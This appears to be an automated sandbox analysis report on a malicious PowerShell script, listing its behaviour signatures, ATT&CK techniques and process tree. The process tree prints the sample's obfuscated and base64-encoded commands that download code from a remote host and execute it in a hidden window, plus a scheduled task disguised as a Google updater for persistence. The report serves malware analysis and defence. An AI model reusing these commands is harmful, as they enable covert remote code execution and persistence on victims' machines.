Analysis
- max time kernel
298s - max time network
280s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
- submitted
16/04/2026, 22:26
General
- Target index.ps1
- Size 51KB
- Sample260416-2csyyscs3k
- SHA256 763edbfb3699a94e52c06e5afc15e415c10d24d451b95e57a892151b49308d3b
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Adds Run key to start application 2 TTPs 1 IoCs
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\index.ps11⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn \GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem47.0.7703.CL_MAIN_S{47263A17-2D66-43B9-9692-56314D0C1AEC} /xml C:\Users\Admin\AppData\Local\Temp\schevnt.xml /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $env:__MUTEX_NAME = 'Local\CL_MAIN_S1776378474'; .(gal ?rm) 79.8141714/index-following | .('CLieCLx'.Replace('CL', '')) "2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\conhost.exe"conhost.exe" --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgAIQAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAGIAbwBvAHQAaQBtACwAQwBlAHIAdABFAG4AcgBvAGwAbABDAHQAcgBsACAALQBFAEEAIAAwACkAKQB7AC4AKABnAGEAbAAgAD8AcgBtACkAIAA3ADkALgA4ADEANAAxADcAMQA0AC8AaQBuAGQAZQB4ACAAfAAgAC4AKAAnAEMATABpAGUAQwBMAHgAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAEMATAAnACwAIAAnACcAKQApAH0AZQBsAHMAZQB7AGUAeABpAHQAIAAxAH0A1⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgAIQAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAGIAbwBvAHQAaQBtACwAQwBlAHIAdABFAG4AcgBvAGwAbABDAHQAcgBsACAALQBFAEEAIAAwACkAKQB7AC4AKABnAGEAbAAgAD8AcgBtACkAIAA3ADkALgA4ADEANAAxADcAMQA0AC8AaQBuAGQAZQB4ACAAfAAgAC4AKAAnAEMATABpAGUAQwBMAHgAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAEMATAAnACwAIAAnACcAKQApAH0AZQBsAHMAZQB7AGUAeABpAHQAIAAxAH0A2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_j0kkhnd0.i2r.ps1
schevnt.xml
memory/1800-47-0x000001D253EC0000-0x000001D253ECC000-memory.dmp
memory/1800-40-0x000001D253EC0000-0x000001D253ECC000-memory.dmp
memory/4712-12-0x0000026BE7780000-0x0000026BE77F6000-memory.dmp
memory/4712-10-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp
memory/4712-1-0x0000026BCECC0000-0x0000026BCECE2000-memory.dmp
memory/4712-31-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp
memory/4712-32-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp
memory/4712-33-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp
memory/4712-34-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp
memory/4712-35-0x0000026BCEA50000-0x0000026BCEA5C000-memory.dmp
memory/4712-51-0x0000026BCEA50000-0x0000026BCEA5C000-memory.dmp
memory/4712-9-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp
memory/4712-11-0x0000026BE7560000-0x0000026BE75A4000-memory.dmp
memory/4712-0-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp
memory/5096-39-0x000001E4A2CF0000-0x000001E4A2CFC000-memory.dmp
memory/5096-15-0x000001E4A3230000-0x000001E4A3240000-memory.dmp
memory/5096-36-0x000001E4A3230000-0x000001E4A3240000-memory.dmp
memory/5096-16-0x000001E4A3230000-0x000001E4A3240000-memory.dmp
memory/5096-54-0x000001E4A2CF0000-0x000001E4A2CFC000-memory.dmp
memory/5428-38-0x000002A84C6F0000-0x000002A84C804000-memory.dmp